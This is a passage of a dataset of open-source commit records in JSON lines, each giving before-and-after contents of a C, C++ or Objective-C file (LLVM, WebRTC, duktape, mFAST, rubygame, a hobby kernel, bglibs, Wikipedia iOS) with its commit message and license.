gpdb,yuanzhao\/gpdb,tangp3\/gpdb,xuegang\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,pavanvd\/postgres-xl,tpostgres-projects\/tPostgres,greenplum-db\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,foyzur\/gpdb,Chibin\/gpdb,50wu\/gpdb,CraigHarris\/gpdb,Postgres-XL\/Postgres-XL,janebeckman\/gpdb,lpetrov-pivotal\/gpdb,adam8157\/gpdb,arcivanov\/postgres-xl,ovr\/postgres-xl,randomtask1155\/gpdb,kaknikhil\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,tpostgres-projects\/tPostgres,xuegang\/gpdb,adam8157\/gpdb,atris\/gpdb,postmind-net\/postgres-xl,atris\/gpdb,Postgres-XL\/Postgres-XL,atris\/gpdb,foyzur\/gpdb,0x0FFF\/gpdb,Chibin\/gpdb,Postgres-XL\/Postgres-XL,Quikling\/gpdb,oberstet\/postgres-xl,edespino\/gpdb,oberstet\/postgres-xl,ahachete\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,greenplum-db\/gpdb,cjcjameson\/gpdb,Quikling\/gpdb,ahachete\/gpdb,50wu\/gpdb,Postgres-XL\/Postgres-XL,yuanzhao\/gpdb,lisakowen\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,xuegang\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,0x0FFF\/gpdb,rubikloud\/gpdb,rvs\/gpdb,kmjungersen\/PostgresXL,ahachete\/gpdb,kmjungersen\/PostgresXL,pavanvd\/postgres-xl,tangp3\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,lintzc\/gpdb"}
{"commit":"3973eb1a7833ac3e96ff7738ef72b6bd6ce42685","old_file":"examples\/debug-trans-socket\/duk_trans_socket.h","new_file":"examples\/debug-trans-socket\/duk_trans_socket.h","old_contents":"#if !defined(DUK_TRANS_SOCKET_H_INCLUDED)\n#define DUK_TRANS_SOCKET_H_INCLUDED\n\n#include \"duktape.h\"\n\nvoid duk_trans_socket_init(void);\nvoid duk_trans_socket_finish(void);\nvoid duk_trans_socket_waitconn(void);\nduk_size_t duk_trans_socket_read_cb(void *udata, char *buffer, duk_size_t length);\nduk_size_t duk_trans_socket_write_cb(void *udata, const char *buffer, duk_size_t length);\nduk_size_t duk_trans_socket_peek_cb(void *udata);\nvoid duk_trans_socket_read_flush_cb(void *udata);\nvoid duk_trans_socket_write_flush_cb(void *udata);\n\n#endif  \/* DUK_TRANS_SOCKET_H_INCLUDED *\/\n","new_contents":"#if !defined(DUK_TRANS_SOCKET_H_INCLUDED)\n#define DUK_TRANS_SOCKET_H_INCLUDED\n\n#include \"duktape.h\"\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nvoid duk_trans_socket_init(void);\nvoid duk_trans_socket_finish(void);\nvoid duk_trans_socket_waitconn(void);\nduk_size_t duk_trans_socket_read_cb(void *udata, char *buffer, duk_size_t length);\nduk_size_t duk_trans_socket_write_cb(void *udata, const char *buffer, duk_size_t length);\nduk_size_t duk_trans_socket_peek_cb(void *udata);\nvoid duk_trans_socket_read_flush_cb(void *udata);\nvoid duk_trans_socket_write_flush_cb(void *udata);\n\n#if defined(__cplusplus)\n}\n#endif  \/* end 'extern \"C\"' wrapper *\/\n\n#endif  \/* DUK_TRANS_SOCKET_H_INCLUDED *\/\n","subject":"Enable C++ support for socket debug transport","message":"Enable C++ support for socket debug transport\n","lang":"C","license":"mit","repos":"svaarala\/duktape,svaarala\/duktape,svaarala\/duktape,svaarala\/duktape,svaarala\/duktape,svaarala\/duktape,svaarala\/duktape,svaarala\/duktape,svaarala\/duktape"}
{"commit":"e42dbed53ae145bd1b9b88c1903f0360904fea4e","old_file":"include\/llvm\/Intrinsics.h","new_file":"include\/llvm\/Intrinsics.h","old_contents":"\/\/===-- llvm\/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines a set of enums which allow processing of intrinsic\n\/\/ functions.  Values of these enum types are returned by\n\/\/ Function::getIntrinsicID.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_INTRINSICS_H\n#define LLVM_INTRINSICS_H\n\nnamespace llvm {\n\n\/\/\/ Intrinsic Namespace - This namespace contains an enum with a value for\n\/\/\/ every intrinsic\/builtin function known by LLVM.  These enum values are\n\/\/\/ returned by Function::getIntrinsicID().\n\/\/\/\nnamespace Intrinsic {\n  enum ID {\n    not_intrinsic = 0,   \/\/ Must be zero\n\n    \/\/ Get the intrinsic enums generated from Intrinsics.td\n#define GET_INTRINSIC_ENUM_VALUES\n#include \"llvm\/Intrinsics.gen\"    \n#undef GET_INTRINSIC_ENUM_VALUES\n  };\n} \/\/ End Intrinsic namespace\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===-- llvm\/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines a set of enums which allow processing of intrinsic\n\/\/ functions.  Values of these enum types are returned by\n\/\/ Function::getIntrinsicID.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_INTRINSICS_H\n#define LLVM_INTRINSICS_H\n\nnamespace llvm {\n\n\/\/\/ Intrinsic Namespace - This namespace contains an enum with a value for\n\/\/\/ every intrinsic\/builtin function known by LLVM.  These enum values are\n\/\/\/ returned by Function::getIntrinsicID().\n\/\/\/\nnamespace Intrinsic {\n  enum ID {\n    not_intrinsic = 0,   \/\/ Must be zero\n\n    \/\/ Get the intrinsic enums generated from Intrinsics.td\n#define GET_INTRINSIC_ENUM_VALUES\n#include \"llvm\/Intrinsics.gen\"    \n#undef GET_INTRINSIC_ENUM_VALUES\n    , num_intrinsics\n  };\n  \n  \/\/\/ Intrinsic::getName(ID) - Return the LLVM name for an intrinsic, such as\n  \/\/\/ \"llvm.ppc.altivec.lvx\".\n  const char *getName(ID id);\n} \/\/ End Intrinsic namespace\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Add a programatic interface to intrinsic names.","message":"Add a programatic interface to intrinsic names.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@27107 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap"}
{"commit":"794450b5b7c744273aa1c8c6c920523a1f7b3801","old_file":"src\/mfast\/json\/json.h","new_file":"src\/mfast\/json\/json.h","old_contents":"#ifndef JSON_H_H4Q7QTC4\n#define JSON_H_H4Q7QTC4\n\n#include \"mfast_json_export.h\"\n#include \"mfast.h\"\n#include <iostream>\n\nnamespace mfast\n{\n  namespace json {\n\n    MFAST_JSON_EXPORT bool encode(std::ostream&                  os,\n                                  const ::mfast::aggregate_cref& msg,\n                                  unsigned json_object_tag_mask=0);\n    MFAST_JSON_EXPORT bool encode(std::istream&                 is,\n                                  const ::mfast::sequence_mref& seq,\n                                  unsigned json_object_tag_mask=0);\n    MFAST_JSON_EXPORT bool decode(std::istream&                  is,\n                                  const ::mfast::aggregate_mref& msg,\n                                  unsigned json_object_tag_mask=0);\n    MFAST_JSON_EXPORT bool decode(std::istream&                 is,\n                                  const ::mfast::sequence_mref& seq,\n                                  unsigned json_object_tag_mask=0);\n  } \/\/ namespace json\n} \/\/ namespace mfast\n\n#endif \/* end of include guard: JSON_H_H4Q7QTC4 *\/\n","new_contents":"#ifndef JSON_H_H4Q7QTC4\n#define JSON_H_H4Q7QTC4\n\n#include \"mfast_json_export.h\"\n#include \"mfast.h\"\n#include <iostream>\n\nnamespace mfast\n{\n  namespace json {\n\n    MFAST_JSON_EXPORT bool encode(std::ostream&                  os,\n                                  const ::mfast::aggregate_cref& msg,\n                                  unsigned json_object_tag_mask=0);\n    MFAST_JSON_EXPORT bool encode(std::istream&                 is,\n                                  const ::mfast::sequence_cref& seq,\n                                  unsigned json_object_tag_mask=0);\n    MFAST_JSON_EXPORT bool decode(std::istream&                  is,\n                                  const ::mfast::aggregate_mref& msg,\n                                  unsigned json_object_tag_mask=0);\n    MFAST_JSON_EXPORT bool decode(std::istream&                 is,\n                                  const ::mfast::sequence_mref& seq,\n                                  unsigned json_object_tag_mask=0);\n  } \/\/ namespace json\n} \/\/ namespace mfast\n\n#endif \/* end of include guard: JSON_H_H4Q7QTC4 *\/\n","subject":"Fix a JSON sequence encode bug","message":"Fix a JSON sequence encode bug\n","lang":"C","license":"bsd-3-clause","repos":"cuavas\/mFAST,objectcomputing\/mFAST,cuavas\/mFAST,cuavas\/mFAST,objectcomputing\/mFAST"}
{"commit":"24652d16f84e4fd605aaffdd5112a606be6c8074","old_file":"lib\/Target\/PowerPC\/PPCMachineFunctionInfo.h","new_file":"lib\/Target\/PowerPC\/PPCMachineFunctionInfo.h","old_contents":"\/\/===-- PPCMachineFunctionInfo.h - Private data used for PowerPC --*- C++ -*-=\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by James M. Laskey and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the PowerPC specific subclass of MachineFunctionInfo.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef PPC_MACHINE_FUNCTION_INFO_H\n#define PPC_MACHINE_FUNCTION_INFO_H\n\n#include \"llvm\/CodeGen\/MachineFunction.h\"\n\nnamespace llvm {\n\n\/\/\/ PPCFunctionInfo - This class is derived from MachineFunction private\n\/\/\/ PowerPC target-specific information for each MachineFunction.\nclass PPCFunctionInfo : public MachineFunctionInfo {\nprivate:\n  \/\/\/ FramePointerSaveIndex - Frame index of where the old frame pointer is\n  \/\/\/ stored.  Also used as an anchor for instructions that need to be altered\n  \/\/\/ when using frame pointers (dyna_add, dyna_sub.)\n  int FramePointerSaveIndex;\n\npublic:\n  PPCFunctionInfo(MachineFunction& MF) \n  : FramePointerSaveIndex(0)\n  {}\n\n  int getFramePointerSaveIndex() const { return FramePointerSaveIndex; }\n  void setFramePointerSaveIndex(int Idx) { FramePointerSaveIndex = Idx; }\n\n};\n\n} \/\/ end of namespace llvm\n\n\n#endif","new_contents":"\/\/===-- PPCMachineFunctionInfo.h - Private data used for PowerPC --*- C++ -*-=\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by James M. Laskey and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the PowerPC specific subclass of MachineFunctionInfo.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef PPC_MACHINE_FUNCTION_INFO_H\n#define PPC_MACHINE_FUNCTION_INFO_H\n\n#include \"llvm\/CodeGen\/MachineFunction.h\"\n\nnamespace llvm {\n\n\/\/\/ PPCFunctionInfo - This class is derived from MachineFunction private\n\/\/\/ PowerPC target-specific information for each MachineFunction.\nclass PPCFunctionInfo : public MachineFunctionInfo {\nprivate:\n  \/\/\/ FramePointerSaveIndex - Frame index of where the old frame pointer is\n  \/\/\/ stored.  Also used as an anchor for instructions that need to be altered\n  \/\/\/ when using frame pointers (dyna_add, dyna_sub.)\n  int FramePointerSaveIndex;\n\npublic:\n  PPCFunctionInfo(MachineFunction& MF) \n  : FramePointerSaveIndex(0)\n  {}\n\n  int getFramePointerSaveIndex() const { return FramePointerSaveIndex; }\n  void setFramePointerSaveIndex(int Idx) { FramePointerSaveIndex = Idx; }\n\n};\n\n} \/\/ end of namespace llvm\n\n\n#endif\n","subject":"Add newline at end of file.","message":"Add newline at end of file.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@31902 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap"}
{"commit":"207820e858122666cbaa69801532258e5bfa6bce","old_file":"ext\/rubygame\/rubygame_shared.h","new_file":"ext\/rubygame\/rubygame_shared.h","old_contents":"\/*\n * Rubygame -- Ruby code and bindings to SDL to facilitate game creation\n * Copyright (C) 2004-2007  John Croisant\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n#ifndef _RUBYGAME_SHARED_H\n#define _RUBYGAME_SHARED_H\n\n#include <SDL.h>\n#include <ruby.h>\n#include <stdio.h>\n\n\/* General *\/\nextern VALUE mRubygame;\nextern VALUE eSDLError;\nextern VALUE cSurface;\nextern VALUE cRect;\nextern SDL_Rect *make_rect(int, int, int, int);\nextern Uint32 collapse_flags(VALUE);\nextern void Init_rubygame_shared();\n\n#ifndef _MSC_VER\nextern static inline int max(int, int);\nextern static inline int min(int, int);\n#endif\n\n#endif\n","new_contents":"\/*\n * Rubygame -- Ruby code and bindings to SDL to facilitate game creation\n * Copyright (C) 2004-2007  John Croisant\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n#ifndef _RUBYGAME_SHARED_H\n#define _RUBYGAME_SHARED_H\n\n#include <SDL.h>\n#include <ruby.h>\n#include <stdio.h>\n\n\/* General *\/\nextern VALUE mRubygame;\nextern VALUE eSDLError;\nextern VALUE cSurface;\nextern VALUE cRect;\nextern SDL_Rect *make_rect(int, int, int, int);\nextern Uint32 collapse_flags(VALUE);\nextern void Init_rubygame_shared();\n\n#ifndef _MSC_VER\nextern inline int max(int, int);\nextern inline int min(int, int);\n#endif\n\n#endif\n","subject":"Fix type conflict with min\/max in shared.","message":"Fix type conflict with min\/max in shared.\n","lang":"C","license":"lgpl-2.1","repos":"singpolyma\/rubygame,rubygame\/rubygame,Dami-coding\/rubygame,singpolyma\/rubygame,firstval\/rubygame"}
{"commit":"affce21f6503652363251b264dc23d66e0994926","old_file":"common_audio\/signal_processing\/cross_correlation.c","new_file":"common_audio\/signal_processing\/cross_correlation.c","old_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/\/ Linux 64-bit performance is improved by the int16_t cast below.\n    \/\/ Presumably this is some sort of compiler bug, as there's no obvious\n    \/\/ reason why that should result in better code.\n    for (j = 0; j < dim_seq; j++)\n      corr += (seq1[j] * seq2[j]) >> (int16_t)right_shifts;\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","new_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    for (j = 0; j < dim_seq; j++)\n      corr += (seq1[j] * seq2[j]) >> right_shifts;\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","subject":"Remove a cast again, after it was shown to worsen Windows perf.","message":"Remove a cast again, after it was shown to worsen Windows perf.\n\nThis will hurt Linux x64 perf, but we think that's a compiler bug and we're\nwilling to take the hit for the better clarity of the code sans cast as well as\nthe better Windows perf.  Hopefully eventually the compiler will improve.\n\nBUG=504813\nTEST=none\nTBR=andrew\n\nReview URL: https:\/\/codereview.webrtc.org\/1215053002\n\nCr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9516}\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: 3c60d614636a858e18fda9e52045fd1192517b8d\n","lang":"C","license":"bsd-3-clause","repos":"Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk,aleonliao\/webrtc-trunk,Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk,jchavanton\/webrtc,Alkalyne\/webrtctrunk,sippet\/webrtc,aleonliao\/webrtc-trunk,Alkalyne\/webrtctrunk,jchavanton\/webrtc,jchavanton\/webrtc,sippet\/webrtc,jchavanton\/webrtc,jchavanton\/webrtc,aleonliao\/webrtc-trunk,sippet\/webrtc,aleonliao\/webrtc-trunk,aleonliao\/webrtc-trunk,Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk,aleonliao\/webrtc-trunk,sippet\/webrtc,jchavanton\/webrtc,sippet\/webrtc,jchavanton\/webrtc,sippet\/webrtc"}
{"commit":"4cdfad72c529d88b152318b8b713db521fe9e366","old_file":"serializer.h","new_file":"serializer.h","old_contents":"","new_contents":"#ifndef SERIALIZER_H\n#define SERIALIZER_H\n\n#include <vector>\n#include <cstdint>\n#include <string>\n#include <algorithm>\n\nclass Serializer\n{\n    public:\n\n        \/** \\brief Serialization of standard integer values *\/\n        void serialize( std::uint32_t value )\n        {\n            serializeInteger( value );\n        }\n\n        \/** \\brief Serialization of long values *\/\n        void serialize( std::uint64_t value )\n        {\n            serializeInteger( value );\n        }\n\n        \/** \\brief Serialization of string *\/\n        void serialize( const std::string& value )\n        {\n            serializeInteger( value.size() );\n            std::copy( value.begin(), value.end(), std::back_inserter(m_container) );\n        }\n\n        \/** \\brief Serialization of vector *\/\n        template< typename T >\n        void serialize( const std::vector< T >& value )\n        {\n            serialize( value.size() );\n            for( const auto& element: value ) serialize( element );\n        }\n\n        \/** \\brief Streaming operator *\/\n        template< typename T >\n        inline Serializer& operator<<( const T& value )\n        {\n            serialize( value );\n            return *this;\n        }\n\n        \/** \\brief Get the underlying buffer *\/\n        inline const std::vector< char > getData() const\n        {\n            return m_container;\n        }\n\n    private:\n\n        template< typename T >\n        inline void serializeInteger( T value )\n        {\n            do\n            {\n                char byte = value & 0x7F;\n                value >>= 7;\n                if ( value ) byte |= 0x80;\n                putByte( byte );\n            }\n            while( value );\n        }\n\n        inline void putByte( char ch )\n        {\n            m_container.push_back( ch );\n        }\n\n        std::vector< char > m_container;\n};\n\n#endif\n","subject":"Add helper class for serializing the data","message":"Add helper class for serializing the data\n","lang":"C","license":"bsd-3-clause","repos":"cinode\/cpptestapp,cinode\/cpptestapp"}
{"commit":"17aaf98c7a1db77947e28da9c407a094c2fcd64f","old_file":"src\/kernel.c","new_file":"src\/kernel.c","old_contents":"#include <rose\/interrupts.h>\n#include <rose\/screen.h>\n#include <rose\/serial.h>\n#include <rose\/memory.h>\n\nextern void protected_mode_start(void);\n\nextern char end[];\n\nvoid\nkmain(void)\n{\n    interrupts_disable();\n    screen_clear();\n    memory_init_gdt();\n    interrupts_init();\n    protected_mode_start();\n    serial_init();\n    memory_init_paging(0, end);\n    \/* XXX turn on interrupts? *\/\n\n    screen_write_string_at(\"Hello from rOSe (in protected mode!)\", 0, 0);\n}\n","new_contents":"#include <rose\/console.h>\n#include <rose\/interrupts.h>\n#include <rose\/screen.h>\n#include <rose\/serial.h>\n#include <rose\/memory.h>\n\nextern void protected_mode_start(void);\n\nextern char end[];\n\nvoid\nkmain(void)\n{\n    interrupts_disable();\n    screen_clear();\n    memory_init_gdt();\n    interrupts_init();\n    protected_mode_start();\n    serial_init();\n    memory_init_paging(0, end);\n    \/* XXX turn on interrupts? *\/\n\n    console_write_string(\"Hello from rOSe (in protected mode!)\\n\");\n}\n","subject":"Write hello message to console","message":"Write hello message to console\n","lang":"C","license":"mit","repos":"hoelzro\/rose-kernel,hoelzro\/rose-kernel"}
{"commit":"6c4710ca4fa04771c6d5d9422781430fc8f0ede6","old_file":"str\/lstrip.c","new_file":"str\/lstrip.c","old_contents":"\/* str\/lstrip.c - Strip whitespace from the left of a string\n * Copyright (C) 2001  Bruce Guenter <bruceg@em.ca>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n#include <ctype.h>\n#include \"str.h\"\n\nvoid str_lstrip(str* s)\n{\n  unsigned off;\n  for (off = 0; off < s->len && isspace(s->s[off]); ++off) ;\n  if (off) {\n    memcpy(s->s, s->s+off, s->len-off+1);\n    s->len -= off;\n  }\n}\n","new_contents":"\/* str\/lstrip.c - Strip whitespace from the left of a string\n * Copyright (C) 2001  Bruce Guenter <bruceg@em.ca>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n#include <ctype.h>\n#include <string.h>\n#include \"str.h\"\n\nvoid str_lstrip(str* s)\n{\n  unsigned off;\n  for (off = 0; off < s->len && isspace(s->s[off]); ++off) ;\n  if (off) {\n    memmove(s->s, s->s+off, s->len-off+1);\n    s->len -= off;\n  }\n}\n","subject":"Use memmove instead of memcpy due to the fact that the strings will be overlapping.","message":"Use memmove instead of memcpy due to the fact that the strings will be\noverlapping.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"b5cb1f3cbf4cf94304c931419bd707ca6e60edcf","old_file":"Wikipedia\/Code\/WMFProxyServer.h","new_file":"Wikipedia\/Code\/WMFProxyServer.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@interface WMFProxyServer : NSObject\n\n@property (nonatomic, readonly, getter=isRunning) BOOL running;\n\n- (void)start;\n\n+ (WMFProxyServer *)sharedProxyServer;\n\n- (NSString *)localFilePathForRelativeFilePath:(NSString *)relativeFilePath; \/\/path for writing files to the file proxy's server\n\n- (NSURL *)proxyURLForRelativeFilePath:(NSString *)relativeFilePath fragment:(NSString *)fragment; \/\/returns the proxy url for a given relative path\n\n- (NSURL *)proxyURLForWikipediaAPIHost:(NSString *)host;\n\n- (NSString *)stringByReplacingImageURLsWithProxyURLsInHTMLString:(NSString *)HTMLString withBaseURL:(NSURL *)baseURL targetImageWidth:(NSUInteger)targetImageWidth; \/\/replaces image URLs in an HTML string with URLs that will be routed through this proxy\n\n- (void)setResponseData:(NSData *)data withContentType:(NSString *)contentType forPath:(NSString *)path;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@interface WMFProxyServer : NSObject\n\n@property (nonatomic, readonly, getter=isRunning) BOOL running;\n\n- (void)start;\n\n+ (WMFProxyServer *)sharedProxyServer;\n\n- (NSString *)localFilePathForRelativeFilePath:(NSString *)relativeFilePath; \/\/path for writing files to the file proxy's server\n\n- (NSURL *)proxyURLForRelativeFilePath:(NSString *)relativeFilePath fragment:(NSString *)fragment; \/\/returns the proxy url for a given relative path\n\n\/\/ Details: https:\/\/github.com\/wikimedia\/wikipedia-ios\/pull\/1334\/commits\/f2b2228e2c0fd852479464ec84e38183d1cf2922\n- (NSURL *)proxyURLForWikipediaAPIHost:(NSString *)host;\n\n- (NSString *)stringByReplacingImageURLsWithProxyURLsInHTMLString:(NSString *)HTMLString withBaseURL:(NSURL *)baseURL targetImageWidth:(NSUInteger)targetImageWidth; \/\/replaces image URLs in an HTML string with URLs that will be routed through this proxy\n\n- (void)setResponseData:(NSData *)data withContentType:(NSString *)contentType forPath:(NSString *)path;\n\n@end\n","subject":"Add link to comment for api proxy method.","message":"Add link to comment for api proxy 